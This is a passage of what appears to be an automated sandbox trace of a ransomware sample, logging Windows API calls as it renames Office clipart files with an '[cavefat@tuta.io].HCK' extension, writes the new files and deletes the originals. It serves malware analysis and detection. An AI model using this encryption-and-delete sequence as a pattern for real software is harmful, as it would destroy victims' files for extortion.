Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF") returned 68 [0171.148] lstrlenW (lpString=".1cd") returned 4 [0171.148] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF") returned 68 [0171.148] lstrlenW (lpString=".jpg") returned 4 [0171.148] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.148] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.148] lstrlenW (lpString="J0233665.WMF") returned 12 [0171.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233665.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0171.151] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=12588) returned 1 [0171.151] CloseHandle (hObject=0x364) returned 1 [0171.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233665.wmf")) returned 0x220 [0171.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233665.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233665.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0171.161] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.161] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233665.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0171.168] GetLastError () returned 0x0 [0171.168] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x312c, lpOverlapped=0x0) returned 1 [0171.171] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3130, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3130, lpOverlapped=0x0) returned 1 [0171.171] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.172] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.172] SetEndOfFile (hFile=0x370) returned 1 [0171.174] CloseHandle (hObject=0x370) returned 1 [0171.175] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.175] SetEndOfFile (hFile=0x39c) returned 1 [0171.181] CloseHandle (hObject=0x39c) returned 1 [0171.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0233665.wmf")) returned 1 [0171.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF") returned 68 [0171.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF") returned 68 [0171.187] lstrlenW (lpString=".doc") returned 4 [0171.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.187] lstrlenW (lpString=".docx") returned 5 [0171.187] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0171.187] lstrlenW (lpString=".pdf") returned 4 [0171.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.187] lstrlenW (lpString=".xls") returned 4 [0171.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.187] lstrlenW (lpString=".xlsx") returned 5 [0171.187] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0171.187] lstrlenW (lpString=".ppt") returned 4 [0171.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF") returned 68 [0171.187] lstrlenW (lpString=".zip") returned 4 [0171.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.187] lstrlenW (lpString=".rar") returned 4 [0171.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.187] lstrlenW (lpString=".bz2") returned 4 [0171.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.187] lstrlenW (lpString=".7z") returned 3 [0171.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF") returned 68 [0171.187] lstrlenW (lpString=".dbf") returned 4 [0171.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF") returned 68 [0171.188] lstrlenW (lpString=".1cd") returned 4 [0171.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF") returned 68 [0171.188] lstrlenW (lpString=".jpg") returned 4 [0171.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF") returned 68 [0171.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF") returned 68 [0171.188] lstrlenW (lpString=".doc") returned 4 [0171.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.188] lstrlenW (lpString=".docx") returned 5 [0171.188] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0171.188] lstrlenW (lpString=".pdf") returned 4 [0171.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.188] lstrlenW (lpString=".xls") returned 4 [0171.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.188] lstrlenW (lpString=".xlsx") returned 5 [0171.188] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0171.188] lstrlenW (lpString=".ppt") returned 4 [0171.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF") returned 68 [0171.188] lstrlenW (lpString=".zip") returned 4 [0171.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.188] lstrlenW (lpString=".rar") returned 4 [0171.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.188] lstrlenW (lpString=".bz2") returned 4 [0171.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.188] lstrlenW (lpString=".7z") returned 3 [0171.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF") returned 68 [0171.188] lstrlenW (lpString=".dbf") returned 4 [0171.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF") returned 68 [0171.188] lstrlenW (lpString=".1cd") returned 4 [0171.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0233665.WMF") returned 68 [0171.188] lstrlenW (lpString=".jpg") returned 4 [0171.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.188] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.188] lstrlenW (lpString="J0234376.WMF") returned 12 [0171.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234376.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0171.194] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=32980) returned 1 [0171.194] CloseHandle (hObject=0x30c) returned 1 [0171.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234376.wmf")) returned 0x220 [0171.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234376.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0171.208] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.208] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234376.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0171.216] GetLastError () returned 0x0 [0171.216] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x80d4, lpOverlapped=0x0) returned 1 [0171.217] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x80e0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x80e0, lpOverlapped=0x0) returned 1 [0171.219] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.219] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.219] SetEndOfFile (hFile=0x39c) returned 1 [0171.225] CloseHandle (hObject=0x39c) returned 1 [0171.226] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.226] SetEndOfFile (hFile=0x370) returned 1 [0171.230] CloseHandle (hObject=0x370) returned 1 [0171.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0234376.wmf")) returned 1 [0171.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF") returned 68 [0171.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF") returned 68 [0171.235] lstrlenW (lpString=".doc") returned 4 [0171.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.235] lstrlenW (lpString=".docx") returned 5 [0171.235] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0171.235] lstrlenW (lpString=".pdf") returned 4 [0171.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.236] lstrlenW (lpString=".xls") returned 4 [0171.236] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.236] lstrlenW (lpString=".xlsx") returned 5 [0171.236] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0171.236] lstrlenW (lpString=".ppt") returned 4 [0171.236] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF") returned 68 [0171.236] lstrlenW (lpString=".zip") returned 4 [0171.236] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.236] lstrlenW (lpString=".rar") returned 4 [0171.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.236] lstrlenW (lpString=".bz2") returned 4 [0171.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.236] lstrlenW (lpString=".7z") returned 3 [0171.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF") returned 68 [0171.236] lstrlenW (lpString=".dbf") returned 4 [0171.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF") returned 68 [0171.236] lstrlenW (lpString=".1cd") returned 4 [0171.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF") returned 68 [0171.236] lstrlenW (lpString=".jpg") returned 4 [0171.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF") returned 68 [0171.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF") returned 68 [0171.236] lstrlenW (lpString=".doc") returned 4 [0171.236] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.236] lstrlenW (lpString=".docx") returned 5 [0171.236] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0171.236] lstrlenW (lpString=".pdf") returned 4 [0171.236] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.236] lstrlenW (lpString=".xls") returned 4 [0171.236] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.236] lstrlenW (lpString=".xlsx") returned 5 [0171.236] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0171.236] lstrlenW (lpString=".ppt") returned 4 [0171.236] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF") returned 68 [0171.236] lstrlenW (lpString=".zip") returned 4 [0171.236] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.236] lstrlenW (lpString=".rar") returned 4 [0171.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.236] lstrlenW (lpString=".bz2") returned 4 [0171.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.236] lstrlenW (lpString=".7z") returned 3 [0171.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF") returned 68 [0171.236] lstrlenW (lpString=".dbf") returned 4 [0171.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF") returned 68 [0171.237] lstrlenW (lpString=".1cd") returned 4 [0171.237] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0234376.WMF") returned 68 [0171.237] lstrlenW (lpString=".jpg") returned 4 [0171.237] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.237] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.237] lstrlenW (lpString="J0237759.WMF") returned 12 [0171.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237759.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.243] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=20926) returned 1 [0171.243] CloseHandle (hObject=0x378) returned 1 [0171.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237759.wmf")) returned 0x220 [0171.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237759.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237759.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.254] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.254] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237759.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.259] GetLastError () returned 0x0 [0171.259] ReadFile (in: hFile=0x374, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x51be, lpOverlapped=0x0) returned 1 [0171.261] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x51c0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x51c0, lpOverlapped=0x0) returned 1 [0171.262] ReadFile (in: hFile=0x374, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.262] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.262] SetEndOfFile (hFile=0x378) returned 1 [0171.267] CloseHandle (hObject=0x378) returned 1 [0171.269] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.269] SetEndOfFile (hFile=0x374) returned 1 [0171.274] CloseHandle (hObject=0x374) returned 1 [0171.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.278] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0237759.wmf")) returned 1 [0171.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0171.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0171.280] lstrlenW (lpString=".doc") returned 4 [0171.280] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.280] lstrlenW (lpString=".docx") returned 5 [0171.280] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0171.280] lstrlenW (lpString=".pdf") returned 4 [0171.280] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.280] lstrlenW (lpString=".xls") returned 4 [0171.280] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.280] lstrlenW (lpString=".xlsx") returned 5 [0171.280] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0171.280] lstrlenW (lpString=".ppt") returned 4 [0171.280] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0171.280] lstrlenW (lpString=".zip") returned 4 [0171.280] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.280] lstrlenW (lpString=".rar") returned 4 [0171.280] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.280] lstrlenW (lpString=".bz2") returned 4 [0171.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.280] lstrlenW (lpString=".7z") returned 3 [0171.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0171.281] lstrlenW (lpString=".dbf") returned 4 [0171.281] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0171.281] lstrlenW (lpString=".1cd") returned 4 [0171.281] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0171.281] lstrlenW (lpString=".jpg") returned 4 [0171.281] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0171.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0171.281] lstrlenW (lpString=".doc") returned 4 [0171.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.281] lstrlenW (lpString=".docx") returned 5 [0171.281] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0171.281] lstrlenW (lpString=".pdf") returned 4 [0171.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.281] lstrlenW (lpString=".xls") returned 4 [0171.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.281] lstrlenW (lpString=".xlsx") returned 5 [0171.281] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0171.281] lstrlenW (lpString=".ppt") returned 4 [0171.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0171.281] lstrlenW (lpString=".zip") returned 4 [0171.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.281] lstrlenW (lpString=".rar") returned 4 [0171.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.281] lstrlenW (lpString=".bz2") returned 4 [0171.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.281] lstrlenW (lpString=".7z") returned 3 [0171.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0171.281] lstrlenW (lpString=".dbf") returned 4 [0171.281] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0171.281] lstrlenW (lpString=".1cd") returned 4 [0171.281] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0171.281] lstrlenW (lpString=".jpg") returned 4 [0171.281] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.281] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.281] lstrlenW (lpString="J0238983.WMF") returned 12 [0171.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 